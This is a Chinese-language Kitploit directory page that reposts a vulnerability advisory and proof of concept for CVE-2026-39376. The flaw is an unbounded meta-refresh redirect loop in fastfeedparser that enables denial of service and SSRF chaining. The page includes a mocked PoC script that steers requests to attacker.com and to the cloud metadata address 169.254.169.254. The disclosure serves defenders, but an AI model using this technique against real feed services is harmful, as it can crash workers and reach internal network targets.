Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39376 — CVE-2026-39376 的概念验证,演示了通过 fastfeedparser 中的 meta-refresh 链实现无限重定向循环拒绝服务,并具有 SSRF 链式利用的潜力。 | Kitploit
工具/GitHubGitHub/redyank/cve-2026-39376
漏洞分析漏洞利用Web安全
GitHubredyank/cve-2026-39376

CVE-2026-39376

CVE-2026-39376 的概念验证,演示了通过 fastfeedparser 中的 meta-refresh 链实现无限重定向循环拒绝服务,并具有 SSRF 链式利用的潜力。

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39376

CVE-2026-39376(通过 meta-refresh 链实现无限重定向循环 DoS)

摘要

当 parse() 获取一个返回包含 <meta http-equiv="refresh"> 标签的 HTML 页面的 URL 时,它会使用重定向 URL 递归调用自身——没有深度限制、没有已访问 URL 去重、也没有重定向次数上限。攻击者控制的服务器返回无限链的 HTML meta-refresh 响应,会导致无界递归,耗尽 Python 调用栈并使进程崩溃。此漏洞还可以与配套的 SSRF 问题链式利用,在绕过初始 URL 检查后访问内部网络目标。

详情

parse() 在 XML 解析失败时捕获 ValueError,通过 _extract_meta_refresh_url() 从 HTML 响应中提取 meta-refresh URL,并使用该 URL 进行尾调用。该递归调用是无条件的——没有最大重定向深度、没有已访问 URL 集合、也没有针对自引用或循环重定向的防护。

fastfeedparser/main.py — parse()(递归汇点):

root@kitploit:~
def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← 无条件递归,无深度限制

_extract_meta_refresh_url() 使用 urljoin(base_url, match.group(1)),因此 content= 属性中的相对 URL、协议相对 URL(//host/path)和绝对 URL 都会被跟随。

PoC

无需在线服务器。以下代码通过 monkeypatch 将 _fetch_url_content 替换为返回无限 HTML meta-refresh 链,并确认无界递归:

root@kitploit:~
import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

每次递归调用都会执行一次真实的 HTTP 请求(30 秒超时)、HTML 解析以及 Python 栈帧分配。在 Python 默认递归限制为 1000 且每次请求超时为 30 秒的情况下,单个攻击者请求可使服务器线程繁忙长达约 8 小时,之后才会抛出 RecursionError。

SSRF 链式变体: 第一个响应可以是合法的 HTML,重定向到内部地址(http://192.168.1.1/),从而使重定向循环同时充当 SSRF 绕过手段,访问那些原本会被仅应用于初始 URL 的应用层 URL 验证所阻止的目标。

影响

这是一个拒绝服务漏洞,并具有次要的 SSRF 链式利用影响。任何接受用户提供的 feed URL 并调用 fastfeedparser.parse() 的应用程序都会受到影响——包括 RSS 聚合器、feed 预览服务以及"通过 URL 订阅"功能。无需身份验证的攻击者可以:

  • 无限期占用服务器工作线程(每个攻击者连接对应一个请求)
  • 在约 1000 次重定向后通过 RecursionError 使工作进程崩溃
  • 利用重定向链将 SSRF 请求转向内部网络目标
下载工具